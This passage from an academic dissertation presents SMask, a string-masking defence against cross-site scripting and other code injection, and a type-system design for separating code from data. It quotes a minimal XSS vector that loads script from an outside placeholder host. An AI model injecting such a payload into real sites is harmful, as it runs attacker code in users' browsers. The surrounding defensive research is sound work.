elements have been encoded, the post-processor removes the code mask:
1 <a href = ’ user . pl ’ > You </ a > searched for <&#115;&#099;&#114;...

The resulting HTML document is included in the HTTP response.

Communication with outside data sources

As mentioned above and shown in Figure 11.1 the pre- and post-processor also handle
string data communication with outside entities like the file system or databases. Legal
code in incoming strings is masked and string masks are removed from outgoing data.
Furthermore, the post-processor removes present string masks from references, such as
file- or table-names, before accessing the outside data source.

11.2.4. False positives and false negatives

In order to assess the provided protection of the proposed mechanism, we have to con-
sider cases where the described processes fail. A failure could either be a false positive
or a false negative. With a false positive we describe the false identification of harmless
data as illegal code. With a false negative we describe the failure of the processors to
detect foreign code. The potential consequences of these two failure classes are funda-
mentally different: A false positive might lead to problems in the further execution of
the web application. A false negative may enable a successful code injection attack. In
this section, we examine each potential failure case to establish the probability of its
occurrence and its potential impact.

Pre-processor false positives

A false positive of the pre-processor occurs if a string constant contains a foreign code
keyword outside the context of actual foreign code. This might happen for different
reasons:
The keyword could be part of textual data. For example, the DOM tree signifier
document may be used in a text about old manuscripts. This type of false positives is
neither noticeable nor problematic: When the textual data leaves the scope of the native
code, the post-processor removes the code mask and restores the original text.
Furthermore, the found keyword could be used to conduct operations on the produced
webpage. For example, sophisticated web applications apply filters on HTML code be-
fore passing it to the browser. These filters may use strings for search operations on
the HTML code. As the mapping between keywords and code masks is static, such

162
 11.2. Concept overview

operations can function as intended. Our proposed technique does not change the syn-
tactic structure represented in the application’s strings. It just replaces certain string
constants, the keywords, with other string constants, the code masks.
Finally, the identified keyword could be in fact a textual key-value used in one of the
application’s native language constructs. Some programming languages use string-based
keys to access data stored in containers like hashtables. If the hashtable’s keys are only
used inside the application source code such a false positive does not yield any prob-
lematic consequences. The mapping between the keyword and the code mask is static
for the complete processing of an HTTP request. Thus, the deterministic referencing
of information is unhindered. But if the hashtable’s keys are derived from an outside
entity like a database table or the actual HTTP request, the access to the hashtable’s
information may be hindered. In this case the pre-processor has to be adapted slightly
to avoid the false positive.

Post-processor false positives

As it is the case with the pre-processor, a false positive of the post-processor occurs when
a keyword is found in a non-code context. In this case the keyword is either part of the
webpage’s text or a value of a dynamically generated HTML attribute. The former case
does not pose any problems. The post-processor encodes the found keyword in HTML
entities which are displayable by the web browser.
To discuss the latter case we have to differentiate between different attribute types.
We can divide HTML attributes in six classes based on the value type they accept (see
Table 11.2 for details). HTML attributes accept either numerical values, identifiers,
predefined textual data, JavaScript, URLs, or variable textual data. Three of these
classes are safe in this context as their values cannot cause false positives: Numerical
values cannot include foreign code keywords, identifiers are not derived from user input,
and the list of predefined attribute values does not intersect with the used list of foreign
code keywords. Furthermore, by definition there cannot be a false positive concerning
JavaScript, as our countermeasure explicitly aims at detecting and neutralizing rogue
script code. False positives in URL-attributes lead to URLs that are partly encoded
in HTML entities. As modern web browser interpret encoded URLs correctly, such an
incidence does not disturb the web application. This leaves false positives in attributes
that accept variable textual data. Within this class we have not encountered problems
caused by false positives. Commonly used attributes from this class are either never
parsed by the web browser (e.g., rel) or work transparent with HTML encoded values
(e.g., alt or value). But as such attributes are sometimes used for purposes that are
not covered in the HTML specification [117], there may be rare problematic scenarios.

Pre-processor false negative

As the encoding of the server side data is controlled and deterministic, such a false
negative can only happen if the used list of keywords is incomplete.

163
11. Identification of Data/Code Confusion

Value type Examples

Numerical value width, height
Identifier class, name, id
Predefined textual data align, type, method
JavaScript onload, onclick, onfocus
URL href, src
Variable textual data alt, value, rel

Table 11.2.: Value types of HMTL attributes

Post-processor false negatives

The correct detection of illegal code-elements depends on the ability of the post-processor
to find specific keywords in the output buffer. Attackers are known to employ various
input encoding techniques to evade filter mechanism [95]. The basic concept behind
most of these evading techniques is to create HTML syntax that does not comply with
the general grammar of HTML [117] but is still recognized by the web browser. The un-
derlying cause which enables this approach is that HTML parsers are known to employ
a rather forgiving parsing process. This behavior enables web browsers to render web
pages that contain faulty HTML code. The post-processor has to take all known evading
techniques into consideration to be able to detect such obfuscated HTML tokens. But
as it is undocumented which syntax errors in HTML code the diverse browsers accept,
there might still exist undiscovered evading techniques. Because of this special charac-
teristic of HTML parsers an attacker might be able to craft data that contains HTML
code which is not detectable by the post-processor. This way the attacker may under
certain conditions succeed to include an illegal HTML tag into the resulting webpage.
If such a previously undiscovered evading technique is discovered the mechanisms can
be adapted easily, as the post-processor is a single central component. Nonetheless, the
inclusion of a functioning JavaScript is not feasible: Other parsers are strict in which
syntax they accept or reject. Therefore, the techniques described in [95] do not apply
to programming languages like JavaScript or SQL. For a successful injection attack the
complete injected code has to evade the detection process. A single detected and en-
coded code fragment causes the attacked interpreter’s parser to encounter a syntax error
and abort the execution of the injected code.

11.2.5. Allowing dynamic code generation

There are legitimate scenarios in which a web application needs to generate foreign
code-elements from dynamically obtained data, e.g., discussion forums that permit a
subset of HTML, web based database frontends that provide an SQL shell or a content
management system that allows its administrator to include JavaScript in the system’s
pages. To enable such dynamic generation of foreign code, we introduce URL based
policies. Such a policy whitelists single foreign code keywords. Before encoding illegal

164
 11.2. Concept overview

code the post-processor checks if one of the application’s policies matches the request’s
URL. If this is the case, the post-processor skips the encoding of the keywords that are
specified in the matching policy.
Also, these policies are used by the pre-processor to identify trusted data-sources.
String values that are obtained from such sources are masked as if the strings were part
of the application’s source code. As the pre- and post-processor are single application-
global entities, these policies provide a central mechanism to control certain security
properties of the application, e.g., the particulars of user provided HTML.

Examples: A policy to allow a weblog’s visitors to add images to their comments would
look like this:
1 < policy unit =" post - processor " >
2 <url >/ blog / comments . php </ url >
3 < keyword > img </ keyword >
4 < keyword > src </ keyword >
5 </ policy >}

Accordingly, a policy specifying an external data source as trusted to contain legal HTML
code would look like this:
1 < policy unit =" pre - processor " >
2 < file >/ templates /* </ file >
3 < keyword > img </ keyword >
4 ...
5 </ policy >}

11.2.6. Implementation approaches

There are two distinct approaches to implement the proposed methods. Either the de-
scribed measures can be directly integrated in the native language’s interpreter/compiler
or they can be implemented by instrumenting the source code. The details of a direct
integration are very dependent on the specific language. Therefore, we omit a gen-
eral description of this approach for brevity reasons. See Section 11.3.1 for a concrete
example.
Code instrumentation is an automatic source-to-source transformation that wraps cer-
tain functions with calls to either the pre- or the post-processor. If code instrumentation
is used, the source code of the whole application is modified before passing it to the inter-
preter. The actions of the pre- and post-processor are implemented as regular functions
and added to the application’s code. All static strings are wrapped by the pre-processor
function. Furthermore, all function calls that retrieve string values from external data
sources are wrapped as well. Accordingly, the post-processor wraps all function calls,
that cause string data to leave the system. The application’s source code has to be
instrumented only once. The modified source code can be stored permanently and serve
as the application’s actual code base.

165
11. Identification of Data/Code Confusion

Example: Before instrumentation:

1 // static string constants
2 $code = " < script >... </ script >";
3
4 // accessing external string constants
5 $data = fread ( $file , 100);
6
7 // writing string data
8 fwrite ( $file , $data );

After instrumentation:
1 // static string constants
2 $code = __smPrepro (" < script >... </ script >");
3
4 // accessing external string constants
5 $data = __smPrepro ( fread ( $file , 100));
6
7 // writing string data
8 fwrite ( $file , __smPostpro ( $data ));

Implementing the final post-processing of the produced HTML code with code instru-
mentation may not always be possible. In this case two alternative solutions exist to
realize the post-processor without modifying the actual interpreter: If the language pro-
vides an output buffering mechanism, which collects the complete HTML code before
passing it to the web server, this mechanism can be employed to implement the final
post-processing. However, some languages do not provide such a buffering mechanism.
In this situation, a proxy mechanism between the language’s interpreter and the web
server has to be introduced.

11.2.7. Generality the approach

As mentioned above our approach is neither limited to countering cross site scripting nor
to web applications. In this section we give examples for further possible deployments:

SQL Injection and Remote Command Execution

Applying our proposed method to counter other code injection attacks is in general
a matter of extending the list of keywords and adapting the policies. Only the post-
processor’s method to neutralize potential malicious code is dependent on the nature
of the protected interpreter. To avoid unwanted consequences of false positives, we use
string encoding methods whenever possible. For example, SQL dialects usually provide
the function char() that takes numerical values and translates them to the corresponding
characters. This function can be used to disarm potential SQL Injection attempts in the
same fashion as we used HTML encoding to counter XSS attacks.

Directory traversal and shell injection

These two classes of attacks are based on the injection of meta characters like .., |,
or &&. As the semantics of these signifiers are on the same abstraction level as code
keywords, our approach is also applicable to counter these attack classes.

166
 11.3. Discussion

11.3. Discussion

11.3.1. Practical implementation using PHP

For a practical implementation of our concept, we chose a direct integration into an

interpreter. We decided in favor of the direct integration over a source-to-source instru-
mentation approach, as we anticipated such an implementation to be easy integrable in
existing setups, thus encouraging its usage.
We implemented our approach as an PHP5 extension [231] and named it SMask. PHP
extensions are powerful libraries that are plugged directly into the PHP interpreter. They
can access global data structures, pre-process an HTTP request’s data, apply operations
on PHP’s output buffer, introduce new functions to PHP, and modify the semantics of
existing ones. Additionally, we added four lines of code to the source code of the PHP
interpreter. This had to be done to enable SMask’s integration in PHP’s parser.
To mask code in static string constants that are part of the applications source code,
SMask injects a hook in the PHP parsing process. This hook causes PHP’s lexer to pass
the lexical tokens to SMask’s pre-processor. The pre-processor examines these tokens
whether they represent one of PHP’s different string constants. If this is the case, the
token’s data is masked according to the list of keywords. Subsequently, the token is
passed on to the actual parser. In order to intercept communication with external data
sources like the filesystem or a database, our extension redirects calls to the respective
API functions through either the pre- or the post-processor. Furthermore, PHP com-
municates request-global data like the POST and GET parameters via hashtables. For
this reason, the extension implements a SAPI input filter which examines these specific
tables whether they contain keys that match one of the keywords. If such a key is found,
it is masked to allow unhindered access to the hashtable’s values. Finally, our extension
registers a handler for PHP’s output buffer. This handler applies the post-processing
operations on the HTTP response’s body.

11.3.2. Evaluation

The practical evaluation of our approach was twofold. On the one hand we examined
if our implementation is compatible with existing applications, on the other hand we
assured that our concept indeed provides the desired protection.

Evaluation of compatibility

At first we examined if execution problems occur when existing PHP applications are
run on a PHP system that uses our SMask extension. For this reason we installed
several popular open source PHP application (see Table 11.3 for details). All tested web
applications worked as expected without any modifications.

167
11. Identification of Data/Code Confusion

Application Version Vulnerability

PHPMyAdmin 2.8.0.3 [none]
PHPNuke 7.8 XSS in search module [11]
PHPBB 2.0.16 XSS in nested tags [211]
Wordpress 2.0.4 [none]
Tikiwiki 1.9.3.1 Multiple XSS issues [22]

Table 11.3.: List of tested PHP applications

Evaluation of protection

In order to verify that our technique indeed prevents XSS attacks, two testing approaches
were applied. For one, we tested known XSS attack methods against a self written test
script and, secondly, we examined vulnerable versions of popular applications.
Our test script solely consists of a simple echoing function, that writes all user input
directly unfiltered in an HTML page. Using the XSS attacks listed in [95], two different
policies were evaluated: One policy that prohibits all user-supplied code and one policy
that allows a typical HTML subset, thus permitting the dynamic inclusion of basic
text-formating and usage of hyperlinks. Both policies prevented our XSS attacks.
Then we installed three PHP applications with public disclosed XSS flaws (see Table
11.3). Executing the attack vectors that were documented in the respective advisories,
we verified that SMask successfully prevented the exploit.

11.3.3. Protection
If an attacker injects correctly masked code-elements, these code-elements are translated
to working foreign code by the post-processor. Therefore, the measure’s effectiveness
in protecting against injection attacks depends on the ability of an attacker to guess
correct code masks. As every keyword is masked differently, the attacker has to guess
the individual masks for all keywords used in his attack. Consequently, the success
probability of such an attack shrinks with the number of keywords used in the attack.
To estimate a lower bound for this probability we have to look at attack vectors with as
few keywords as possible. For example, the following string represents the smallest XSS
attack vector that is able to conduct a meaningful attack:
1 < script src =" http :// a . org / a . js " > </ script >

This vector contains only two keywords: script and src. If the processors employs
code-masks of length eight over an alphabet of 62 symbols (numbers and characters in
upper and lower case), the probability of a successful attack is:

1
Psuccess =
628 (628 − 1)

168
 11.4. Conclusion

In the case that the keyword src is permitted, e.g., by a site that allows its users to post
images, the probability is:
1
Psuccess = 8
62
These probabilities are constant over a series of attacks, as the code masks change for
every single HTTP request. For the same reason, hypothetical information leaks pose
no security problem.

11.3.4. Future work

In our practical implementation we utilized a rather coarse technique to determine if a
given string contains code. While the described method allows efficient implementation
for on-the-fly checking of string values, it produces a certain number of false positives.
Efficient on-the-fly checking is an important property only for implementations that are
directly included in the language’s interpreter. However, source-to-source code instru-
mentation can be mostly pre-calculated and the resulting code can be stored for actual
usage. If this approach is chosen, more sophisticated methods for code detection are
applicable. We plan on investigating algorithms that employ the application’s control
flow graph to improve our approximation.
Furthermore, advanced source-to-source translation can also improve the SMask’s per-
formance. As stated in the last paragraph, most of pre-processing has to be done only
once, for example, the decision step whether a static string constant qualifies as potential
code:
1 // Naive approach :
2 string $s = __smPrepro (" < body > Hello ");
3
4 // Improved approach :
5 string $s = __smMask (" < body >") + " Hello ";

Finally, there is room for improvement in the field of policies. Instead of solely relying
on keyword matching, we can use more sophisticated techniques to determine if dynam-
ically added foreign code is legal or illegal. Such techniques can e.g., take relationships
between single code fragments into consideration.

11.4. Conclusion
In this chapter we proposed a novel method to automatically identify and mitigate data/-
code confusion in order to counter string-based code injection attacks. Our approach
employs string masking to enable the web application to differentiate between legitimate
and injected code. This way a variety of code injection attacks can be prevented.
Our technique can either be implemented by integration in the native language’s
interpreter or by automatic source-to-source code instrumentation. Our approach works
transparent and requires no manual changes to the protected application. The two main
components, the pre- and the post-processor, are central entities which are configured
by policy files. Therefore, these policies establish a central point to administrate the

169
11. Identification of Data/Code Confusion

security properties of the web application. Using a proof of concept implementation for
PHP5 we were able to verify the technique’s protection mechanisms.
Using our approach web applications can be effectively protected against code injection
attacks without requiring profound changes in the application’s source code or existing
infrastructure.
However, due to the undecidable nature of the underlying problem (see Sec. 11.2.2),
our proposed solution’s detection mechanism can suffer from false positives and/or false
negatives (see Sec. 11.2.4). This shortcoming is due to our objective to leave the actual
process of string-based foreign code assembly unchanged in order to provide compatibility
with existing applications. We investigate an alternative approach which fundamentally
alters the methods to dynamically create foreign code in Chapter 12.

170
12. Enforcing Secure Code Creation
We have shown in Section 11.2.2 that attempts to dynamically resolve data/code con-
fusion lead to undecidable problems. For this reason, this chapter proposes a language-
based methodology to solve the problem of string-based code injection fundamentally by
removing the vulnerability class’ underlying mechanisms. For this purpose, we examine
how established programming language techniques and conventions have to be modified
and extended to ensure reliable secure foreign code creation.
This chapter is structured as follows: First in Section 12.1, we outline our general
methodology and identify our approach’s key components. The centerpiece of our ap-
proach is an extension of the native language’s type system which is the topic of Section
12.2. In this context we revisits the field of formal type theory and its applications to
security properties (see Sec. 12.2.1). Then we show how these results can be extended
towards guaranteeing secure code assembly (see Sec. 12.2.2). In Sections 12.3 and 12.4
we discuss further important components of our approach: The syntactical integration
of the foreign syntax into the native language and the design of an abstraction layer
that mediates all code-communication between the native language and the foreign in-
terpreters. Finally, we show how to adapt our approach for a specific case, native Java
and foreign HTML/JavaScript, (see Sec. 12.5) and evaluate our technique using a cor-
responding practical implementation (see Sec. 12.6). We finish with a conclusion in
Section 12.7.

12.1. Motivation and concept overview

12.1.1. Lessons learned from the past
A comparison of the security properties of low level languages like C versus modern
programming languages like Java yields the observation that a whole class of potential
security problems is missing in the latter class: Programs written in such languages are
not susceptible to vulnerabilities that arise from errors in a program’s memory man-
agement. The reason for this is that modern languages do not grant programs direct
access to raw memory. Instead a program’s memory allocation and usage is abstracted
from the actual memory and controlled by internal means of the programming language
(see Figure 12.1.A). The lesson learned here is: A language’s security properties are not
necessarily defined by “what a language can do” but also by “what a language cannot
do”. C can write to raw memory. Therefore, it is subject to memory corruption issues,
like Buffer Overflows. Java cannot write to raw memory. Thus, exploitable memory
corruption vulnerabilities are impossible.
If we try to apply the lesson we learned from our Java versus C example to code

171
12. Enforcing Secure Code Creation

injection flaws (see Figure 12.1.B), the resulting question would be: What would a pro-
gramming language look like that cannot interface directly with external interpreters using
the language’s string type?
C versus Java Vision

PHP, Java, ASP, etc. ?

C Java
Programming Programming
Programming Programming Language Language
Language Language

HTML / JS
Abstraction Layer

SQL
Abstraction Layer

e.g., bash
(Application Server)
(Virtual Machine)

XML
Web Web
Database Database
Memory Memory Browser Browser
Management Management
External Web External Web
Interpreters Services Interpreters Services

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 10 ! Martin Johns, UH, FB Inf, SVS, 16.12.2005 11

A. Memory management B. String-based code communication

Figure 12.1.: Learning from the past

12.1.2. High level design considerations

In Chapter 10 we isolated the two fundamental causes of string-based code injection:

• String-based assembly of foreign code

• and direct, unmediated communication with external interpreters.

As motivated in Section 12.1.1, we aim to remove these fundamental requirements from

application development.
More precisely, if we revoke the programmer’s capabilities to utilize the string type
to implicitly assemble foreign code and to directly communicate this code to external
interpreters, he simply is not able to introduce code injection vulnerabilities anymore.
Therefore, it is crucial to outfit the native language with means to explicitly assemble,
encode, and communicate foreign syntax while maintaining strict separation between
data and code (utilizing the data/code definitions of Section 10.4.1). Furthermore, the
resulting system has to introduce an additional layer between the program and the
respective external entities (see Figure 12.1.B). Such a layer’s duty is to provide suitable
and secure external interfaces while denying legacy string-based communication. For
example, in the case of web applications the system would at least require such interfaces
for communication with the database and the web browser.

12.1.3. Design objectives

Before we will identify the key components of your concept in Section 12.1.4 we briefly
have to formulate additional requirements in respect to potential acceptance by the devel-
oper community. Such acceptance is essential for any mechanism to be used in practice.
A solution that requires significant training effort or introduces profound obstacles in

172
 12.1. Motivation and concept overview

areas, that can be resolved comfortably using the existing techniques, is unlikely to be
adopted.
Objectives concerning the native language: Foremost, the proposed concepts
should not depend on the specifics of a given native language. They rather should be
applicable for any programming language in the class of procedural and object-orientated
languages1 . Furthermore, the realisation of the concepts should not profoundly change
the native language. Only aspects of the native language that directly deal with the
assembly of foreign code should be affected.
In addition, the introduced means for foreign code creation should preserve the capa-
bilities and flexibility of the string type. String operations have been proven in practice
to be a powerful tool for code assembly. Therefore, the introduced mechanisms should,
e.g., provide means for easy combination of code fragments, and capabilities to search
and modify the data contents of a given foreign code instance.
Objectives concerning the creation of foreign code: The specific design of every
computer language is based on a set of paradigms that were chosen by the language’s
creators. These paradigms were selected because they fitted the creator’s design goals in
respect to the language’s scope. This holds especially true for languages like SQL that
were not designed to be a general purpose programming language but instead to solve
one specific problem domain. Therefore, a mechanism for assembling such foreign syntax
within a native language should aim to mimic the foreign language as closely as possible.
If the language integration requires profound changes in the foreign syntax it is highly
likely that some of the language’s original design paradigms are violated. Furthermore,
such changes would also cause considerable training effort even for developers that are
familiar with the original foreign language.

12.1.4. Key components

From the observations detailed in Section 12.1.2 we can deduct the following key com-
ponents (see Fig. 12.2):

Datatype: We have to introduce a new datatype to the native language that is suitable to
assemble/represent foreign code and that guarantees strict separation between data
and code according to the programmer’s intent. In the context of this document
we refer to such a datatype as “Foreign Language Encapsulation Type (FLET)”.

Language integration: The handling of the newly created datatype and the assembly
of foreign language’s syntax have to be integrated in the native language. Such
an integration has to enforce that all generation of foreign code is explicit to avoid
accidental code creation, for instance due to implicit string serialization, that in
turn may lead to code injection vulnerabilities.

Abstraction layer: It is necessary to introduce a separating layer between the appli-

cation’s runtime environment and the external entities. As the runtime environ-
1
To which degree this objective is satisfiable for functional and logical programming languages has to
be determined in the future.

173
 Key
12. Enforcing Secure Code components (I)
Creation

Native code Programming

Language Language integration

Datatype

Abstraction Layer
(Application Server)

Foreign code

Database External Web Web

Interpreters Services Browser

Figure 12.2.: Key components of the proposed approach

! Martin Johns, UH, FB Inf, SVS, 16.12.2005 10

ment is not allowed to interact with external interpreters directly anymore, this
abstraction mechanism has to handle such communication. Such an abstraction
layer receives the foreign instructions from the application’s runtime environment
encapsulated in the newly created datatype. It then translates the provided code
information into correct foreign code without being susceptible to injection attacks
and passes this code on to the external entity.

These three key-components correspond directly to three distinct problem domains:

• Language-based security: In order to introduce the FLET-type, we have to

extend the native language’s type system. To ensure the targeted security proper-
ties, careful considerations on the specific characteristics of the proposed datatype
are required. Section 12.2 presents a formal model for type-safe code assembly.
• Syntactic integration: Our proposed methods should be adaptable for a large
range of languages. Therefore, the means to interact with the FLET and the ab-
straction layer have to be integrated into already existing native languages. As we
have stated in Section 12.1.3, profound changes to both the foreign and the native
syntax are undesirable. For this reason, the main challenge is to integrate the for-
eign syntax into the native language as seamlessly as possible without jeopardising
the FLET’s security guarantees. Section 12.3 discusses several feasible approaches
towards solving this challenge.
• Enforcement and system integration: The abstraction layer has to be embed-
ded as a fundamental and mandatory component into the application’s runtime
environment to reliably mediate the code-based communication with the foreign
parsers. Such an integration is essential to reliably guarantee the security re-
quirements of our approach. See Section 12.4 for an overview on possible design
strategies.

12.2. Introducing a specific datatype for secure code assembly

The centerpiece of our approach is the Foreign Language Encapsulation Type (FLET), a
native datatype that is capable of encapsulating foreign instructions of arbitrary length

174
 12.2. Introducing a specific datatype for secure code assembly

and complexity while retaining a separation between data and code. Most properties
of a given FLET are dependent on the specifics of the foreign syntax that the FLET
is supposed to assemble. However, there are properties that all potential FLET-types
share:

1. A minimal FLET has to posses a set of separate methods to add either code- or
data-elements information to a FLET instance.

2. To prevent potential injection attacks, the method to add code-elements cannot

rely on arbitrary string-serialization.

In the following sections we develop a type-theoretical approach towards formalizing

the FLET type. Then, in Section 12.5.2 we discuss how to practical design and implement
an according FLET for the languages HTML and JavaScript.

12.2.1. Existing type-system approaches for confidentiality and integrity

In this section we will develop a formal backing of our proposed extension of the na-
tive language. As we propose the addition of a special-purpose datatype to the native
language’s type-system, the appropriate methods to ensure the targeted security prop-
erties can be found in the field of formal type-theory. For this purpose, we utilize the
extensive body of academic work that has been published on the topic of confidentiality-
enforcement through type-theoretical mechanisms (such as [262], [285], or [227]).
Before we examine existing approaches of utilizing type-theory to ensure security prop-
erties, we have to introduce the according vocabulary. Therefore, in this section, we
briefly revisit basic concepts of formalizing type-systems.

The purpose of type-systems: As Pierce motivates in [209], type-systems in program-

ming languages are used to provide language safety by ensuring the absence of certain
errors. In this context Cardelli [30] differentiates between two distinct error classes:

• Trapped error: Execution errors that cause the computation to stop immedi-
ately.

• Untrapped errors: Execution errors that are not immediately detected and
cause arbitrary behavior later. An example of an untrapped error is improperly
accessing a legal address, for example, accessing data past the end of an array in
absence of run-time bounds checks.

A program fragment is safe if it does not cause untrapped errors to occur. Languages
where all program fragments are safe are called safe languages. Utilizing this notion, we
will extend the native language’s safety requirements by introducing an additional class
of untrapped errors: Insecure code assembly (proposed in Section 12.2.2). By extending
the language’s type-system accordingly we ensure the language’s safeness in this respect.

175
12. Enforcing Secure Code Creation

Elements of formal type-systems: In the following sections we will utilize type-theoretical

methods. For this purpose, we briefly introduce the basic concepts and the correspond-
ing notation. According to [30], a language’s formal type-system is constructed and
validated using the following concepts:

• Typing judgements: A typing judgement has the form Γ ` p : τ . This judgement

asserts that the program phrase p has type τ with respect to identifier typing Γ.

• Typing axioms: A set of underlying typing judgements which build the basis of
the examined type-system.
Example [30]:
` true : Bool (true has type Bool)

• Type rules: Type rules assert the validity of certain judgements on the basis of
other judgements that are already known to be valid.
Example [262]:
Γ ` M : int Γ ` N : int (Typing of integer addition)
Γ ` M + N : int
• Type derivation and inference: A type derivation in a given type system is a
tree of judgements, with leaves at the top and a root at the bottom, where each
judgement is obtained from the ones immediately above it by some rules of the
system [30].
The task of discovering a derivation for a term is called the type inference problem.
In the absence of any derivation for an examined term, we say that the term is not
typable or that is has a typing error.

Type-systems for enforcing confidentiality

The foundation of formal modeling of confidentiality requirements in computer programs
descents from the Bell-LaPadula model [16] which formalizes a class of policies for con-
fidentiality enforcement. The model may be summarized in two axioms operating on an
ordered set of security levels (in the simplest case “public” and “secret”):

1. The Simple Security Property states that a subject at a given security level may
not read an object at a higher security level (no read-up).

2. The *-property states that a subject at a given security level must not write to any
object at a lower security level (no write-down).

The Bell-LaPadula policies have their origin in modeling existing governmental and
military policies, resulting in a intuitive interpretation of the terms object and subject.
Mapping the policies to computer programs results in assigning the term object to a
program’s variables while the term subject describes general expressions. Consequently,
the *-property forbids that expressions of a high security level are assigned to variables of

176
 12.2. Introducing a specific datatype for secure code assembly

a low security level and the *-property forbids interpretation of low typed expression in
high security contexts. Thus, enforcing the policy’s confidentiality requirements within
computer programs can be reduced to controlling and restricting the flow of information
within the program during execution. Denning and Denning [51] first observed that
static program analysis can be used to control such information flows, thus, statically
enforcing the policy’s requirements.
In [262] Volpano et al. formalized Denning’s approach in the form of a type-system.
This enabled them to proof the approach’s soundness. In Volpano’s model every term
carries an security level which is determined by the terms type (e.g., public or high). A
ordered lattice relationship between the individual types is modeled through subtyping,
for instance as follows:

public ⊆ secret (public is a subtype of secret)

This means, secret has a higher security level as public.

In the remainder of this chapter, we employ the syntactic convention of Volpano [262]
and Smith [242]. Therefore, we differentiate between term, command, and variable typ-
ing:

Γ`e:τ The term e only contains variables of type τ and lower.

Γ ` c : τ cmd The command c only assigns to variables of type τ and higher.
Γ ` v : τ var In Γ the variable v has type τ

Consequently, the security level of a term is determined by its highest value (a term
containing secret typed variables is considered to be of type secret entirely) while com-
mand typing guarantees that these levels are preserved.
Following both the general subtyping semantics as well as the intended confidentiality
objectives, it is allowed to reclassify a term to a higher level (i.e., interpret a subtype in
a supertype context). This is formalized by the subtype-rule:

Γ`e:τ ` τ ⊆ τ0
(subtype)
Γ ` e : τ0
Thus, this subtyping relationship formalizes that every term e that is typed with type τ
can also be typed with τ 0 if and only if τ is a subtype of τ 0 (i.e., public information can
be reclassified to secret).
Furthermore, Volpano et al. introduce the assignment typing rule which enforces that
all elements of an assignment of a term e to a variable v have to be of matching types:

(assignment) Γ ` v : τ var Γ`e:τ

Γ ` v := e : τ cmd
By using the typing convention public ⊆ secret all flows from public to secret are
allowed (as public is a subtype of secret and can be accordingly down-typed in the
assignment judgement). However, the other direction is prohibited as the type-system
does not provide typing judgements which define assignments from secret terms to public

177
12. Enforcing Secure Code Creation

typed variables (i.e., from super-types to subtypes). Therefore, such assignments cannot
be type checked and produce typing errors. Hence, the combination of the subtype and
the assignment typing rules effectively enforce Bell-LaPadula’s *-property (no write-
down) as no flows from high to low (form secret to pubic) can by type-checked.
Moreover, take the following line of code:

if asecret == 1 then bpublic = 0;

The indirect information flow in this code from asecret to bpublic is a violation of Bell-
LaPadula’s Simple Security-property (no read-up). Volpano’s type-system prohibits such
indirect information flows from secret to public. This is done by enforcing that all ele-
ments of program constructs which cause indirect information flow (such as conditionals)
have to be of matching type:

Γ`e:τ Γ ` f : τ cmd Γ ` g : τ cmd

(conditional)
Γ ` if e then f else g : τ cmd

This is also known as the non-interference property.

Integrity as a dual to confidentiality

A weakness of the Bell-LaPadula model is that it only considers confidentiality and
ignores integrity requirements. This shortcoming was addressed by the Biba integrity
model [21]. The Biba model defines a set of security rules similar to the Bell-LaPadula
model:

1. The Simple Integrity Axiom states that a subject at a given level of integrity may
not read an object at a lower integrity level (no read-down).

2. The *-Integrity Axiom states that a subject at a given level of integrity must not
write to any object at a higher level of integrity (no write-up).

These rules are the exact reverse of the Bell-LaPadula rules. Also, the interpretation
of the terms object and subject in the context of computer programs remains the same
as in the Bell-LaPadula case. Hence, by introducing type-classes for integrity level (high
and low), the subtype relationship can be defined accordingly:

high ⊆ low

This way Volpano’s typing rules can be applied to ensure integrity requirements
through type-checking. Thus, for instance, assignments from low integrity terms to high
integrity variables are prohibited in this type-system, as demanded by the *-Integrity
Axiom.
However, considering integrity as a straight dual to confidentiality is not entirely cor-
rect. As Sabelfeld and Myers warn in [227]: “Integrity has an important difference
from confidentiality: a computing system can damage integrity without any interaction

178
 12.2. Introducing a specific datatype for secure code assembly

with the external world, simply by computing data incorrectly.” Therefore, strong en-
forcement of unspecific integrity properties may require proving the correctness of the
program. For this reason, the utilized definitions of the desired integrity properties have
to be chosen carefully to only include characteristics that can be ensured regardless of
program-correctness.
In the next section we will show how to utilize the duality between the Bell-LaPadula
and the Biba models for applying Volpano’s results to secure code assembly.

12.2.2. A type-system for secure foreign code assembly

As discussed in Chapter 10, string-based code injection attacks occur due to data/code
confusion during dynamic assembly of foreign code. Thus, we concluded that the string
type is an insufficient mean to securely create foreign code and we proposed a specific
datatype for this task, the FLET.
Furthermore, in Section 10.4 we introduced the notion of data- and code-elements.
We showed that by utilizing a foreign language’s grammar, the mapping between the
basic language elements and the data/code-classes can be deducted from the grammar’s
pre-defined token-types.

Applying the Biba model to dynamic code creation: We propose to apply Biba’s
integrity policies to dynamic code creation. As discussed, string-based code injection
vulnerabilities stem from interpreting data elements as code. By using integrity levels to
separate the two element classes, this type of mix-up can be prevented on the language
level. Code elements in dynamically assembled foreign statements should be of high
integrity as they are responsible for the statements semantics. However, the integrity
level of data elements should be considered to be low, as often the contents of the
elements may be controlled by the adversary.
Consequently, we introduce two new security types: DT (data-type) and CT (code-
type) which corresponded to the integrity levels low and high. More specifically, the
implicit, static mapping between the token-types and the integrity classification is the
following:
data ⇒ DT ⇒ low
code ⇒ CT ⇒ high
Applying the Biba model to this mapping enforces that low integrity information (i.e.,
data) cannot influence high integrity information (i.e., code). This results in a type-
based separation of data and code. For this purpose, we utilize the typing judgements
from [242] which prevent explicit flows from low to high (see Figure 12.3) by formalizing
the Biba model as discussed in Section 12.2.1.
Apart from to the security types we also have to add two new basic datatypes to
the native language: codetoken and datatoken. These datatypes represent the foreign
language’s corresponding syntactic elements, as specified in Section 10.4. They are
utilized to practically assemble the foreign code within the native syntax. Codetoken-
elements are implicitly typed with CT , datatoken-elements with DT .

179
12. Enforcing Secure Code Creation

CT ⊆ DT

(base) Γ ` e : τ

(r-val) Γ ` e : τ var
Γ`e:τ

τ ⊆ τ0
(cmd− )
τ 0 cmd ⊆ τ cmd

Γ`e:τ τ ⊆ τ0
(subtype)
Γ ` e : τ0

τ ⊆ τ0 τ 0 ⊆ τ 00
(trans)
τ ⊆ τ 00

(assignment) Γ ` v : τ var Γ`e:τ

Γ ` v := e : τ cmd

Figure 12.3.: Typing rules (cf. [242])

Furthermore, one of our model’s initial requirements is to disallow string-based meth-

ods for defining code-elements. This requirement can be modeled by prohibiting infor-
mation flow from the string-datatype to CT -typed terms. Using the type-theoretical
methodology of Section 12.2.1, we achieve this by implicitly labeling the native string-
type to carry the security type DT . All other pre-existing datatypes of the native
language are also typed with DT .
Consequently, as all native datatypes are typed with DT , the only way to instantiate
